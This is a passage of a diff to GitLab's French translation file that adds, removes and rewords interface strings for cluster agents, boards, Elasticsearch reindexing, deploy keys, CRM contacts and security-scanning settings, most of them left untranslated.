-msgstr "Une nouvelle branche sera créée dans votre dépôt divergent (fork) et une nouvelle demande de fusion sera lancée."
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr "Jetons d’accès"
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "Accès refusé ! Veuillez vérifier que vous pouvez ajouter des clefs de déploiement à ce dépôt."
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr "Ajouter une liste numérotée"
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Ajouter un tableau"
msgid "Add a task list"
msgstr "Ajouter une liste de tâches"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr "Ajouter une nouvelle application"
msgid "Add new directory"
msgstr "Ajouter un nouveau dossier"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr "Ajouter des utilisateurs au groupe"
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr "Ajouté à"
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Erreur lors du chargement des statistiques. Veuillez réessayer"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "Après modification de votre mot de passe, vous serez redirigé vers l’écran de connexion."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "Un champ utilisateur Gitlab vide ajoutera le nom complet de l’utilisateur FogBugz (p. ex., « Par John Smith ») dans la description de tous les tickets et commentaires. Il associera ou assignera ces tickets et commentaires au créateur du projet."
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr "Une erreur est survenue"
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "Une erreur s’est produite lors de la prévisualisation du blob"
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr "Une erreur est survenue lors du chargement des données du graphique"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "Une erreur s’est produite lors du chargement des signatures du commit"
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr "Assigner à"
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr "Événements d’audit"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de retour"
@@ -6463,12 +6563,12 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Picorer"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr "Clients"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr "Fermer"
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr "Récupération des projets"
msgid "ClusterIntegration|Fetching zones"
msgstr "Récupération des zones"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Intégration GitLab"
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr "Nom de la grappe de serveurs Kubernetes"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Les grappes de serveurs Kubernetes vous permettent d’utiliser des applications de revue de code, de déployer vos applications, d’exécuter vos pipelines et bien plus encore, et ce, de manière très simple."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr "Propriétaires du code"
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr "Configurer le traçage"
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr "Configurez la manière dont une personne crée un nouveau compte."
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Créer un nouveau dossier"
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr "Étiquette"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "Créer un jeton d’accès personnel"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Fuseau horaire des tâches planifiées cron"
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "Tableau de bord"
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr "Supprimer le commentaire"
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr "Détecter les clefs de l’hôte"
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr "Nom du dossier"
msgid "Disable"
msgstr "Désactiver"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "Domaine"
@@ -12289,9 +12509,6 @@ msgstr "Votes négatifs"
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr "Modifier l’application"
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
